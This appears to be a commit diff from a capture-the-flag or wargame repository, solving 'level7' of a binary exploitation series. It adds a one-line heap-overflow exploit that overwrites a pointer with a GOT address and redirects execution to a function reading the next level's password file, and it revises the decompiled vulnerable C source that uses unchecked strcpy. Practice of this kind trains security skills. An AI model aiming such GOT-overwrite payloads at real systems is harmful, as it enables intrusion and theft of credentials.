level7: done, walkthrough left to do

level7/ressources/exploit

@@ -0,0 +1 @@
+./level7 $(python -c 'print "A"*20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')

level7/source.c

@@ -14,24 +14,19 @@ void m(void)
 	return;
 }
 
-int main(int ac, char **av)
+int32_t main(int32_t ac, char **av)
 {
-	int **a;
-	int **b;
-	FILE *__stream;
+	int32_t *str = malloc(8);
+	str[0] = 1;
+	str[1] = malloc(8);
 
-	*a = (int *)malloc(8);
-	*a[0] = 1;
-	a[1] = malloc(8);
+	int32_t *str2 = malloc(8);
+	str2[0] = 2;
+	str2[1] = malloc(8);
 
-	*b = (int *)malloc(8);
-	*b[0] = 2;
-	b[1] = malloc(8);
-
-	strcpy((char *)a[1], av[1]);
-	strcpy((char *)b[1], av[2]);
-	__stream = fopen("/home/user/level8/.pass", "r");
-	fgets(c, 68, __stream);
+	strcpy(str[1], av[1]);
+	strcpy(str2[1], av[2]);
+	fgets(c, 68, fopen("/home/user/level8/.pass", "r"));
 	puts("~~");
 	return 0;
 }